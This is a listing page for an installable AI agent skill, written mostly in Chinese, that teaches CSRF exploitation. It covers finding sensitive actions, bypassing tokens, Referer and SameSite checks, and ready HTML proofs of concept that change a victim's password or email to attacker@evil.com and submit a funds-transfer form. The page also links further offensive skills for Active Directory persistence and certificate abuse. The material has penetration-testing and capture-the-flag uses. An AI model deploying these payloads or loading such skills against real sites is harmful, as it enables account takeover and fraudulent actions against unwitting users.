csrf-methodology
$
npx mdskill add wgpsec/AboutSecurity/csrf-methodologyExploit CSRF vulnerabilities to hijack user actions via malicious links.
- Identifies targets lacking CSRF tokens or vulnerable cookie policies.
- Detects sensitive operations like password changes or fund transfers.
- Constructs malicious links to trigger unauthorized actions.
- Executes requests using the victim's authenticated session.
SKILL.md
.github/skills/csrf-methodologyView on GitHub ↗
---
name: csrf-methodology
description: "CSRF 跨站请求伪造检测与利用。当目标表单/API 缺少 CSRF Token、使用 Cookie 认证、有敏感操作(修改密码/转账/绑定邮箱)时使用。通过诱导受害者点击链接以其身份执行操作"
metadata:
tags: "csrf,cross-site request forgery,跨站请求伪造,token,referer,samesite"
category: "exploit"
---
# CSRF 跨站请求伪造方法论
CSRF 利用浏览器自动携带 Cookie 的特性,让受害者在不知情的情况下以自己的身份发送请求。
## Phase 1: 识别 CSRF 风险
### 1.1 检查防护机制
对敏感操作的请求,检查是否有以下防护:
- **CSRF Token**:表单中的 `<input type="hidden" name="csrf_token">`
- **SameSite Cookie**:`Set-Cookie: session=xxx; SameSite=Strict/Lax`
- **Referer/Origin 检查**:服务端验证请求来源
- **自定义 Header**:如 `X-Requested-With: XMLHttpRequest`
### 1.2 高价值目标操作
- 修改密码/邮箱(→ 账户接管)
- 转账/支付
- 添加管理员
- 绑定/解绑第三方账户
- 修改权限/角色
## Phase 2: 绕过 CSRF 防护
### 2.1 Token 绕过
```
# 删除 token 参数 — 某些实现只在 token 存在时才验证
csrf_token= (空值)
# 使用其他用户的 token — 某些实现只检查 token 有效性,不绑定用户
# 用自己的账号获取一个 token,给受害者用
# Token 在 Cookie 中 — 可通过子域 XSS 设置 Cookie
Cookie: csrf=TOKEN
Body: csrf_token=TOKEN (两者匹配即可)
```
### 2.2 Referer/Origin 绕过
```
# 不发送 Referer
<meta name="referrer" content="no-referrer">
# 包含目标域名的 URL
https://evil.com/csrf?target.com
https://target.com.evil.com
# 空 Referer(某些实现只在 Referer 存在时才检查)
```
### 2.3 SameSite 绕过
- `SameSite=Lax`:GET 请求仍可跨站(顶级导航)→ 如果操作接受 GET,可利用
- `SameSite=None`:无保护
- 无 SameSite 属性:旧浏览器默认 None
- POST 被 SameSite 拦截时,改用 GET 可能不受限(方法不受限)
### 2.4 Token 验证缺陷
- 攻击者 token 替受害者使用:PoC 中硬编码自己的 token
- 服务端只检查 token 有效性,不检查归属(验证缺陷)
### 2.5 Method 绕过
- GET 方法绕过:某些修改操作也接受 GET(开发者错误)
- `window.location` 跳转即可触发 GET 请求
- POST 被 CSRF 防护拦截时,GET 可能不受限
## Phase 3: 构造 CSRF PoC
### GET 请求
```html
<img src="http://target/api/changePassword?new=hacked">
```
### POST 请求(表单自动提交)
```html
<form action="http://target/api/changeEmail" method="POST" id="f">
<input type="hidden" name="email" value="attacker@evil.com">
</form>
<script>document.getElementById('f').submit();</script>
```
### JSON Body(需要 CORS 配合)
如果 API 要求 `Content-Type: application/json`,需要检查:
- 是否接受 `Content-Type: text/plain`(form 可发送)
- 是否有 CORS 允许跨域 POST
```html
<form action="http://target/api/transfer" method="POST" enctype="text/plain">
<input name='{"amount":1000,"to":"attacker","x":"' value='"}'>
</form>
```
## Phase 4: CTF 场景
CTF 中 CSRF 通常配合 XSS Bot:
1. 发现 CSRF 漏洞 → 构造恶意页面
2. 将链接提交给 "admin bot"(模拟管理员点击)
3. 管理员以其身份执行操作(修改密码/获取 flag)
More from wgpsec/AboutSecurity
- 401-403-bypass401/403 访问拒绝绕过方法论。当遇到管理后台、API 端点返回 401/403 Forbidden 时使用。覆盖路径操纵、HTTP 方法篡改、Header 注入、协议降级、组合攻击
- ad-acl-abuseActive Directory ACL 滥用攻击方法论。当 BloodHound 发现 GenericAll/WriteDACL/WriteOwner/GenericWrite/ForceChangePassword 等危险 ACE 时使用。覆盖 ACE 枚举、权限滥用链、Shadow Credentials、RBCD 攻击
- ad-delegation-attackKerberos 委派攻击(非约束/约束/RBCD)。当 BloodHound 发现委派配置、或已获取有 SPN 的服务账号/机器账号控制权时使用。通过 S4U 协议滥用可实现跨服务模拟任意用户,常用于域内权限提升和横向移动。
- ad-domain-attackActive Directory 域环境攻击全链路。当目标主机在域环境中(systeminfo 显示 Domain 非 WORKGROUP)、发现 88/389/636 端口、或获取到域用户凭据时使用。覆盖域信息收集、用户枚举、Kerberoasting、AS-REP Roasting、委派攻击、ACL 滥用、DCSync、Golden/Silver Ticket
- ad-persistenceAD 域环境持久化技术。当已获取域管/本地管理员权限、需要建立持久访问以确保重启或密码更改后仍能回到目标环境时使用。覆盖主机级持久化(计划任务/注册表Run/COM劫持/WMI事件订阅/Windows服务/启动文件夹)、域级持久化(Golden Ticket/Silver Ticket/Skeleton Key/DSRM/AdminSDHolder)、DCShadow/GoldenGMSA高级技术、清理命令与检测规避
- ad-trust-attack域信任关系攻击。当目标存在多域/多林环境时使用。包含父子域提权(Golden Ticket + ExtraSid)、跨林攻击(SID History/MSSQL Trust Links)、单向信任利用。已获取子域 Domain Admin 或发现信任关系时优先加载。
- adcs-certipy-attackActive Directory Certificate Services (ADCS) 证书攻击。当发现域内有 CA 服务器、ADCS Web Enrollment、证书模板配置错误时使用。覆盖 ESC1-ESC11 所有证书滥用路径、Certipy 工具链、证书伪造、NTLM 中继到 ADCS。发现 ADCS/CA/证书/certsrv 相关内容时一定要使用此技能
- adinfo-enum使用 Adinfo 进行 Active Directory 信息收集。当获得域用户凭据后需要快速收集域环境信息时使用。Adinfo 是一个快速 AD 信息收集工具,一条命令输出域控列表、域管用户、信任关系、GPO、SPN、委派配置等关键信息——比手动 LDAP 查询快得多。发现域环境后第一步信息收集使用此技能
- agent-security|
- ai-data-security|